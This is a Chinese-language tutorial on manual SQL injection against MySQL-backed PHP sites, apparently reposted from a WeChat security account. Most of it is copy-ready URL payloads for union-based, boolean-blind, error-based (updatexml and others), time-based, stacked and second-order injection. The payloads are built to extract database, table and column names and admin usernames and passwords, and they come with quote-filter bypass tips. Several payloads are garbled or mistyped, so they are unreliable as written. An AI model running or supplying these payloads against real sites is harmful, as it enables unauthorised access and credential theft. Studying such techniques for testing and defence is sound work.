SQL手工注入入门级笔记(更新中)

admin 2022年5月10日02:47:10评论24 views字数 5955阅读19分51秒阅读模式

一、字符型注入

针对如下php代码进行注入:

$sql="select user_name from users where name='$_GET['name']'";
正常访问URL:http://url/xxx.php?name=admin

此时实际数据库语句:

select user_name from users where name='admin'

利用以上结果可想到SQL注入构造语句:

http://url/xxx.php?name=admin' and '1'='1' -- '

此时实际数据库语句:

select user_name from users where name='admin' and '1'='1' -- ''

在上面的sql语句中可以发现,通过闭合原本的单引号,在后面添加新的查询语句,可达到注入目的。(mysql中两个单引号中间为空会被忽略,若出现单个单引号会有语法错误。)

成功后可以开始进行猜解数据库了:

1、猜字段数

and 1=2 union select 1,2,3,4,5,6……(字段数为多少,后面的数字就到几,如union select 1,2,3,4,5能够成功返回结果则表示字段数为5

order by 6 ( 当某一数字正常返回页面就表示有多少个字段)

2、查库

and 1=2 union select 1,2,3,database(),5,6-- +       (利用第四个字段的显示位来显示数据库名,具体位置看具体网站)

3、查表

and 1=2 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()-- +       (以MySQL为例 )

4、查字段

and 1=2 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database() and table_name='admin'-- +

   (以MySQL为例,其中admin和单引号 可以使用admin的十六进制代替,其他内容也可以。)

5、查内容

and 1=2 union select 1,2,3,group_concat(username,password),5,6 from admin -- +

上述单引号括起来的内容可以替换为内容的十六进制绕过单引号过滤。

 

二、布尔盲注(Boolean with blind SQL injection)

第一步:猜数据库长度

?id=1' and length(database())>=1-- +

>=1可以自己结合场景自己更换。

第二步:猜数据库名

?id=1' and substr(database(),1,1)='a'-- +   普通版

?id=1' and ord(substr(database(),1,1))=97 -- +   ASCII码版---与上面意思相同

substr为截取字符串,从1开始。上面这段表示从1开始截取1个字符。

ord为MySQL中转换ASCII码的函数。

当测出第一个字符以后测试第二个字符 用substr(database(),2,1)=‘a’-- +,一共需要测到第一步中猜测出来的长度。

第三步:猜表名

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'-- +   直接版可以不用猜解数据库名

?id=1' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='a'-- +   普通版 使用第二步猜解出来的数据库名

?id=1' and ord(substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97 -- +   ASCII码版---与上面意思相同

limit 函数表示取出内容的条数范围,从0开始。上段内容limit 0,1表示从第一个开始取1条。则从第二个开始取一条为:limit 1,1。

第三步:猜字段名

?id=1' and substr((select table_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),1,1)='a'-- +   直接版可以不用猜解数据库名

?id=1' and substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1)='a'-- +   普通版 使用第二步猜解出来的数据库名

?id=1' and ord(substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1))=97 -- +   ASCII码版---与上面意思相同

上述单引号括起来的内容可以替换为内容的十六进制绕过单引号过滤。

第四步:猜内容

?id=1' and substr((select username from admin limit 0,1),1,1)='a'-- +   直接版可以不用猜解数据库名

?id=1' and substr((select username from admin limit 0,1),1,1)='a'-- +   普通版 使用第二步猜解出来的数据库名

?id=1' and ord(substr((select username from admin limit 0,1),1,1))=97 -- +   ASCII码版---与上面意思相同

三、报错注入

由于程序员或网站维护人员的配置不当,错误信息被输出到了前台,导致可以根据报错进行一系列的操作。

因此可以利用报错注入获取数据,报错注入有很多格式:

1、通过floor报错:

and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错:
and multlinestring (()select * from(select user () )a)b );

11、通过multpolygon ()报错:
and multpolygon (()select * from(select user () )a)b );

12、通过linestring ()报错:
and linestring (()select * from(select user() )a)b );

 

这里使用updatexml()

1、利用updatexml获取user()

?user=admin‘ and updatexml(1,concat(0x7e,(select user())),1)-- +

0x7e为ASCII码的 ~ 波浪号,为了在返回的报错信息中很方便的查看到想要注入得到的数据,没有别的功能性作用。

2、利用updatexml获取database()

?user=admin‘ and updatexml(1,concat(0x7e,(select database())),1)-- +

3、利用updatexml查询数据库

?id=1 and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select schema_name),0x7e) from admin limit 0,1),0x7e),1)

4、利用updatexml查询表

?id=1 and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select table_name),0x7e) from admin limit 0,1),0x7e),1)

5、利用updatexml查询字段

?id=1 and updatexml(1,concat(0x7e,(selecct distinct concat(0x7e, (select column_name),0x7e) from admin limit 0,1),0x7e),1)

6、利用updatexml获取字段内容

查表名:?user=admin‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)-- +

查询其他内容就不一一列举,在上面一、二板块有详细内容,融会贯通灵活运用就可以。

其他报错函数利用原理大致相同。

四、延时盲注攻击(Sleep with blind SQL injection)

又称为时间盲注,与Boolean注入非常相似,不同之处在于延时注入使用的是sleep()、benchmark()等造成延时的函数从页面返回耗时来判断。

多用IF(exp1,exp2,exp3)结合使用,若exp1为真,则返回exp2,若exp2为假,则返回exp3。

1、判断数据库名长度

?id=1' and if(length(database())>=3,sleep(5),1)sleep函数中的参数单位为秒。若数据库长度>=3则睡5秒再返回内容给你,否则直接查询1返回结果。

2、判断数据库内容

?id=1' and if( ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)  猜字段名?id=1' and if(substr((select username from admin limit 0,1),1,1)='a',sleep(5),1)  猜字段内容

其他查询语句可以参考上面一、二介绍的语句。

五、堆叠查询注入攻击

?id=1’ 加了单引号页面返回错误,?id=1' %23以后页面返回正常则可以利用。

闭合原本的查询语句,构造自己的查询语句(利用方式为布尔盲注和时间盲注)。

1、猜数据库名

?id=1'%23 select if(substr(database(),1,1)='a',sleep(5),1)%23   这里利用的是时间盲注?id=1'%23 select if(ord(substr(database(),1,1))=97 ,sleep(5),1)%23   这里利用的是布尔盲注

2、猜数据库内容

?id=1'%23 if(ord(substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97,sleep(5),1)%23 猜表名?id=1'%23 if(ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)%23 猜字段名

其他查询语句可以参考上面一、二、三、四介绍的语句。

六、二次注入

某一次用户输入的恶意构造内容被保存到数据中,当第二次从数据库中去获取该内容时,用户输入的恶意SQL语句截断了第二次查询的查询语句,执行了用户构造的语句。

比如在注册用户时 用户名设置为 test‘ 在test后面加个单引号,没有过滤输入而保存到数据库中。当去访问个人中心时,发现显示用户名的地方出现了数据库报错,单引号被带到了查询语句中执行了。

原理就是系统对数据库中的内容没有进行过滤而是采取信任,导致从外部无法注入却从内部上查询中注入成功。


作者:我超怕的;链接:https://www.cnblogs.com/iAmSoScArEd/p/10593234.html


推荐阅读

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF


查看更多精彩内容,还请关注橘猫学安全

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看SQL手工注入入门级笔记(更新中)

原文始发于微信公众号(橘猫学安全):SQL手工注入入门级笔记(更新中)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月10日02:47:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL手工注入入门级笔记(更新中)http://cn-sec.com/archives/993767.html

发表评论

匿名网友 填写信息